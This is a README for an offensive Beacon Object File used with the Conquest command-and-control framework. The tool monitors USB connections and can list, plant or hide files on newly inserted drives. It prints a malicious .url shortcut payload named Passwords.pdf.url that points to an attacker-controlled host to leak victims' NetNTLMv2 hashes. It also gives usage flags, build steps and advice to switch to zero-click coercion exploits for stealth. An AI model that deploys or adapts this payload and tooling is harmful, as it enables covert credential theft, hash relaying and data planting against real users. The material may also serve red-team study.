Async BOF that monitors USB device connect/disconnect events and reports device information. When a USB drive is connected, it can list directory contents, upload arbitrary files, or place a malicious .url file to capture NetNTLMv2 hashes via forced authentication.
Important
This BOF requires asynchronous object file loading capabilities to work without blocking the agent. Such functionality is provided by the Conquest framework.
The BOF registers two separate CM_Register_Notification callbacks via cfgmgr32:
-
USB Device callback (
USB_DEVICE_GUID): fires on any USB device arrival/removal. ParsesVID/PIDfrom the symbolic link path, retrieves the human-readable device description from the registry viaCM_Get_DevNode_Registry_PropertyW, and prints device info to the beacon. -
USB Volume callback (
VOLUME_GUID) :fires only when a USB storage volume is mounted. Resolves the drive letter by matchingQueryDosDeviceWtargets, retrieves the volume label viaGetVolumeInformationA, then executes the configured actions (bitmask):ACTION_LIST (0x01): Lists contents of the USB drive root directory.ACTION_PUT (0x02): writes the provided file to the USB drive root directory. When a file with the same name exists, it will not be overwritten. Optionally setsFILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEMwhen--hiddenis passed.
The agent is woken up from sleep using BeaconWakeup whenever a callback is triggered.
The object file takes the following arguments:
| Name | Type | Description |
|---|---|---|
action |
int |
Bitmask of actions to execute when a USB drive is mounted. - NONE (0x00): monitor only- LIST (0x01): enumerate drive root- PUT (0x02): write file to drive rootFlags can be combined (e.g. 0x03 for both listing files and uploading one) |
filename |
string |
Only used by the PUT action. Destination filename on the USB drive. Defaults to the source file's basename, or Passwords.pdf.url for the coerce shortcut. |
filecontents |
bytes |
Only used by the PUT action. Raw bytes of the file to write to the USB drive. |
hidden |
int |
Only used by the PUT action. When set to 1, sets FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM on the written file, hiding it from Explorer. |
The repository contains a Conquest Module which simplifies the use of the usb-monitor async BOF.
Usage: usb-monitor [--list] [--put file] [--coerce] [--target target] [--name name] [--hidden]
Example: usb-monitor
Optional arguments:
--list BOOL List files and directories on the connected USB drive.
--put file STRING Path to the file to upload to the connected USB drive.
--coerce BOOL Upload a malicious .url file to force NTLM authentication to an attacker-controlled system (requires user interaction).
Requires --target.
--target target STRING Hostname or IP address of attacker-controlled system for coercion.
--name name STRING Name of the uploaded file.
--hidden BOOL Hide the uploaded file on the USB drive.
Note that this module includes the --coerce flag. This is a wrapper for the PUT action that creates and uploads a malicious .url file to the root of the connected USB drive. When this option is set, the --target flag is required. The uploaded file has the name Passwords.pdf.url by default and the following contents:
[InternetShortcut]
URL=file://<target>/share
IconFile=C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe
IconIndex=11When a victim opens the URL file, a request is made to an attacker-controlled system which leaks the NetNTLMv2 hash for cracking or relaying.
Caution
The URL coercion file is not designed to be stealthy and will raise suspicion when clicked, as it notifies the victim that the destination \\<target>\share could not be reached. Consider using zero-click forced authentication exploits that trigger the hash leak automatically when the file explorer opens the USB drive instead of this proof-of-concept.
git clone https://github.com/jakobfriedl/usb-monitor-bof
cd usb-monitor-bof
make
From there, use Conquest's Script Manager to load the dist/usb-monitor.py module.
